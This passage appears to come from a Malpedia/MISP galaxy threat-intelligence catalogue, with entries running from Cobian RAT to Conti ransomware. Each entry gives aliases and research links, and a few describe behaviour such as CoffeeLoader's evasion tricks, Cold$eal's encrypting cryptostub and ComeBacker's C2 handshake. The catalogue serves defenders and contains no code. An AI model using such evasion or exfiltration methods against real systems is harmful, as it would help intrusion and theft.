https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf

https://twitter.com/GossiTheDog/status/1438500100238577670

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf

https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1

https://twitter.com/Unit42_Intel/status/1458113934024757256

https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/

https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9

https://www.secureworks.com/research/threat-profiles/bronze-president

https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/

https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/

https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations

https://www.trendmicro.com/en_us/research/25/j/premier-pass-as-a-service.html
https://hunt.io/blog/rare-watermark-links-cobalt-strike-team-servers-to-ongoing-suspicious-activity
https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/
https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting
https://thedfirreport.com/2020/10/08/ryuks-return/
https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/
https://isc.sans.edu/diary/rss/28664
https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/
https://us-cert.cisa.gov/ncas/alerts/aa21-265a
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf
https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike
https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e
https://twitter.com/AltShiftPrtScn/status/1403707430765273095
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love
https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt
https://malwarelab.eu/posts/fin6-cobalt-strike/
https://www.malware-traffic-analysis.net/2021/09/17/index.html
https://michaelkoczwara.medium.com/mapping-and-pivoting-cobalt-strike-c2-infrastructure-attributed-to-cve-2021-40444-438786fcd68a
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html

https://www.malware-traffic-analysis.net/2023/10/03/index.html

https://blogs.blackberry.com/en/2022/01/log4u-shell4me

https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/

https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/

https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government

https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/

https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/

https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/

https://attack.mitre.org/groups/G1021/

https://twitter.com/Unit42_Intel/status/1461004489234829320

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

https://www.youtube.com/watch?v=6SDdUVejR2w

https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive

https://x.com/embee_research/status/1736758775326146778

https://www.mandiant.com/media/12596/download

https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/

https://hunt.io/blog/golang-beacons-vs-code-tunnels-tracking-cobalt-strike

https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/

https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://embee-research.ghost.io/shodan-censys-queries/

https://assets.virustotal.com/reports/2021trends.pdf

https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader

https://embeeresearch.io/shodan-censys-queries/

https://thedfirreport.com/2022/03/07/2021-year-in-review/

https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/

https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html

https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/

https://blog.malwarebytes.com/threat-intelligence/2022/07/cobalt-strikes-again-uac-0056-continues-to-target-ukraine-in-its-latest-campaign/
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://elastic.github.io/security-research/intelligence/2022/01/02.collecting-cobalt-strike-beacons/article/
https://www.youtube.com/watch?v=ysN-MqyIN7M
https://securelist.com/cve-2024-30051/112618
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://go.recordedfuture.com/hubfs/reports/cta-2024-1209.pdf
https://isc.sans.edu/diary/27308
https://www.arashparsa.com/hook-heaps-and-live-free/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/
https://isc.sans.edu/diary/rss/27176
https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c
https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/

Cobian RAT

The tag is: *misp-galaxy:malpedia="Cobian RAT"*

Cobian RAT is also known as:

Table 3505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat
https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat
https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect

initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager. It's CRM mailslot module was also observed being downloaded by ISFB.

The tag is: *misp-galaxy:malpedia="CobInt"*

CobInt is also known as:

- COOLPANTS

Table 3506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.group-ib.com/blog/renaissance
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://www.netscout.com/blog/asert/double-infection-double-fun
http://www.secureworks.com/research/threat-profiles/gold-kingswood

Cobra Carbon System

The tag is: *misp-galaxy:malpedia="Cobra Carbon System"*

Cobra Carbon System is also known as:

- Carbon

Table 3507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra
https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf
https://www.circl.lu/pub/tr-25/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://docs.broadcom.com/doc/waterbug-attack-group
https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra

https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://www.youtube.com/watch?v=FttiysUZmDw
https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
https://github.com/hfiref0x/TDL
https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

CockBlocker

The tag is: *misp-galaxy:malpedia="CockBlocker"*

CockBlocker is also known as:

Table 3508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker
https://twitter.com/JaromirHorejsi/status/817311664391524352

CodeKey

The tag is: *misp-galaxy:malpedia="CodeKey"*

CodeKey is also known as:

Table 3509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf

CodeCore

Ransomware.

The tag is: *misp-galaxy:malpedia="CodeCore"*

CodeCore is also known as:

Table 3510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.code_core
https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a

CoffeeLoader

Zscaler ThreatLabz states that this sophisticated malware family likely originated around September 2024. The purpose of the malware is to download and execute second-stage payloads while evading detection by endpoint-based security products. The malware uses numerous techniques to bypass security solutions, including a specialized packer called Armoury that utilizes the GPU, call stack spoofing, sleep obfuscation, and the use of Windows fibers. It also contains a backup DGA and is capable of deploying Rhadamanthys shellcode. ThreatLabz has observed CoffeeLoader being distributed via SmokeLoader, and both malware families share some behavioral similarities.

The tag is: *misp-galaxy:malpedia="CoffeeLoader"*

CoffeeLoader is also known as:

Table 3511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coffee_loader
https://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques

Cohhoc

The tag is: *misp-galaxy:malpedia="Cohhoc"*

Cohhoc is also known as:

Table 3512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

Coinminer

Coinminer is an unwanted malicious software which uses the victim's computational power (CPU and RAM mostly) to mine for coins (for example Monero or Zcash). The malware achieves persistence by adding one of the opensource miners on startup without the victim's consensus.

Most sophisticated coin miners use timer settings or cap the CPU usage in order to remain stealthy.

The tag is: *misp-galaxy:malpedia="Coinminer"*

Coinminer is also known as:

Table 3513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/
https://secrary.com/ReversingMalware/CoinMiner/
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.triskelelabs.com/investigating-monero-coin-miner
https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/

coldbrew

The tag is: *misp-galaxy:malpedia="coldbrew"*

coldbrew is also known as:

Table 3514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldbrew
https://businessinsights.bitdefender.com/hypervisor-introspection-thwarts-web-memory-corruption-attack-in-the-wild

ColdLock

The tag is: *misp-galaxy:malpedia="ColdLock"*

ColdLock is also known as:

Table 3515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldlock
https://www.trendmicro.com/en_us/research/20/i/u-s—justice-department-charges-apt41-hackers-over-global-cyberattacks.html
https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5

Cold$eal

Cold$eal is a packer for encrypting (sealing) malware. It contains some AV-evasion techniques as well as some sandbox-detection. It was developed by $@dok (aka Sadok aka Coldseal). It was available as a cryptor service under the url coldseal.us and was later sold as a toolkit consisting of the cryptor and a custom made cryptostub including a FuD garantee backed by free update to the cryptostub. The payload was encrypted using RC4 and added to the cryptostub as a resource. The encryption key itself was stored inside the resource as well. Upon start the cryptostub would extract the key, decrypt the payload and perform a selfinjection using the now decrypted payload. Note: The packed sample provided contains some harmless payload, while the unpacked sample is the bare cryptostub without a payload.

The tag is: *misp-galaxy:malpedia="Cold$eal"*

Cold$eal is also known as:

- ColdSeal

Table 3516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal
https://www.youtube.com/watch?v=242Tn0IL2jE
https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html
https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/
https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/

ColdStealer

ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.

The tag is: *misp-galaxy:malpedia="ColdStealer"*

ColdStealer is also known as:

Table 3517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer
https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/
https://asec.ahnlab.com/en/32090/
https://asec.ahnlab.com/ko/31703/

Colibri Loader

According to cloudsek, Colibri Loader is a form of malware designed to facilitate the installation of additional malware types on an already compromised system. This loader employs various techniques to evade detection, such as excluding the Import Address Table (IAT) and utilizing encrypted strings to complicate analysis. Similar to other loader malware, Colibri can be utilized to deploy information-stealing malware, potentially leading to significant loss of sensitive data. As a result, users should exercise caution when encountering unfamiliar files on their systems.

The tag is: *misp-galaxy:malpedia="Colibri Loader"*

Colibri Loader is also known as:

Table 3518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri
https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/
https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign
https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf
https://github.com/Casperinous/colibri_loader
https://fr3d.hk/blog/colibri-loader-back-to-basics
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/

Collection RAT

The tag is: *misp-galaxy:malpedia="Collection RAT"*

Collection RAT is also known as:

Table 3519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat
https://blog.talosintelligence.com/lazarus-collectionrat/

CollectorGoomba

The tag is: *misp-galaxy:malpedia="CollectorGoomba"*

CollectorGoomba is also known as:

- Collector Stealer

Table 3520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba
https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/
https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html

Colony

The tag is: *misp-galaxy:malpedia="Colony"*

Colony is also known as:

- Bandios
- GrayBird

Table 3521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colony
https://twitter.com/anyrun_app/status/976385355384590337
https://secrary.com/ReversingMalware/Colony_Bandios/
https://pastebin.com/GtjBXDmz

Combojack

The tag is: *misp-galaxy:malpedia="Combojack"*

Combojack is also known as:

Table 3522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/

Combos

The tag is: *misp-galaxy:malpedia="Combos"*

Combos is also known as:

Table 3523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combos
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

ComeBacker

ComeBacker was found in a backdoored Visual Studio project that was used to target security researchers in Q4 2020 and early 2021.

It is an HTTP(S) downloader.

It uses the AES CBC cipher implemented through the OpenSSL's EVP interface for decryption of its configuration, and also for encryption and decryption of the client-server communication.

The parameter names in HTTP POST requests of the client are generated randomly. As the initial connection, the client exchanges the keys with the server via the Diffie–Hellman key agreement protocol for the elliptic curve secp521r1. The client generates a random 32-bytes long private key, and the server responds with its public key in a buffer starting with the wide character "0".

Next, the clients sends the current local time, and the server responds with a buffer containing multiple values separated with the pipe symbol. The typical values are the encrypted payload, the export to execute, and the MD5 hash of the decrypted DLL to verify the authenticity of the payload.

There are variants of ComeBacker without statically linked OpenSSL. In that case, the key exchange is omitted and AES CBC is replaced with HC-256.

The tag is: *misp-galaxy:malpedia="ComeBacker"*

ComeBacker is also known as:

Table 3524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker
https://www.anquanke.com/post/id/230161

https://mp.weixin.qq.com/s?biz=MzUyMjk4NzExMA==&mid=2247505438&idx=1&sn=cf1947c7af6581f4a66460ae6d14dc2f
https://download.hauri.net/DownSource/down/dwn_detail_down.html?uid=55
https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/
https://www.enki.co.kr/en/media-center/blog/lazarus-group-targets-aerospace-and-defense-with-new-comebacker-variant
https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/
https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/
https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/
https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/
https://www.gendigital.com/blog/insights/research/dprk-kimsuky-lazarus-analysis
http://blog.nsfocus.net/stumbzarus-apt-lazarus/
https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf
https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

Comfoo

The tag is: *misp-galaxy:malpedia="Comfoo"*

Comfoo is also known as:

Table 3525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comfoo
https://www.secureworks.com/research/secrets-of-the-comfoo-masters

ComLook

ComLook is a malicious plugin for the mail client "The Bat!", written in C++ and compiled with MSVC 10.0. It implements malicious commands like PutFile, GetFile, SetConfig, GetConfig, and Command. It contains hard-coded email addresses and other information, indicating a target in Azerbaijan. It was first uploaded to VirusTotal on January 12, 2022, and is associated with the APT group Turla. It appears to be a targeted deployment.

The tag is: *misp-galaxy:malpedia="ComLook"*

ComLook is also known as:

Table 3526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook
https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook
https://twitter.com/ClearskySec/status/1484211242474561540

CommonMagic

The tag is: *misp-galaxy:malpedia="CommonMagic"*

CommonMagic is also known as:

Table 3527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic
https://securelist.com/cloudwizard-apt/109722/
https://securelist.com/bad-magic-apt/109087/?s=31
https://securelist.com/bad-magic-apt/109087/

ComodoSec

The tag is: *misp-galaxy:malpedia="ComodoSec"*

ComodoSec is also known as:

Table 3528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt

COMpfun

The tag is: *misp-galaxy:malpedia="COMpfun"*

COMpfun is also known as:

- Reductor RAT

Table 3529. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun
https://securelist.com/it-threat-evolution-q2-2020/98230
https://securelist.com/compfun-successor-reductor/93633/
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://securelist.com/compfun-http-status-based-trojan/96874/
https://securelist.com/apt-trends-report-q2-2019/91897/

Computrace

The tag is: *misp-galaxy:malpedia="Computrace"*

Computrace is also known as:

- lojack

Table 3530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace
https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html
https://asert.arbornetworks.com/lojack-becomes-a-double-agent/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/

ComradeCircle

The tag is: *misp-galaxy:malpedia="ComradeCircle"*

ComradeCircle is also known as:

Table 3531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle
https://twitter.com/struppigel/status/816926371867926528

concealment_troy

The tag is: *misp-galaxy:malpedia="concealment_troy"*

concealment_troy is also known as:

Table 3532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf

Conficker

The tag is: *misp-galaxy:malpedia="Conficker"*

Conficker is also known as:

- Kido
- downadup
- traffic converter

Table 3533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker
https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido—conficker
https://redcanary.com/blog/intelligence-insights-january-2022/
https://www.minitool.com/backup-tips/conficker-worm.html
https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf
https://github.com/tillmannw/cnfckr
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
http://contagiodump.blogspot.com/2009/05/win32conficker.html
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md
http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html

Confucius

The tag is: *misp-galaxy:malpedia="Confucius"*

Confucius is also known as:

Table 3534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius

https://blog.nsfocus.net/aptconfuciuspakistanibo/
https://www.trendmicro.com/en_us/research/18/h/the-urpage-connection-to-bahamut-confucius-and-patchwork.html
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat
https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Conti (Windows)

Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.

The tag is: *misp-galaxy:malpedia="Conti (Windows)"*

Conti (Windows) is also known as:

Table 3535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conti
https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf
https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked
https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html
https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://www.youtube.com/watch?v=uORuVVQzZ0A
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf
https://decoded.avast.io/threatresearch/avast-q2-2022-threat-report/
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/

https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/

https://www.prevailion.com/what-wicked-webs-we-unweave/

https://github.com/EmissarySpider/ransomware-descendants

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships

https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/

https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8

https://www.youtube.com/watch?v=cYx7sQRbjGA

https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/

https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/

https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html

https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf

https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html

https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent

https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware

https://www.threatstop.com/blog/conti-ransomware-source-code-leaked

https://securelist.com/luna-black-basta-ransomware/106950

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/

https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti

https://www.connectwise.com/resources/conti-profile

https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html

https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/

https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks

https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/

https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html

https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

https://twitter.com/TheDFIRReport/status/1498642512935800833

https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my

https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider

https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one

https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79

https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022

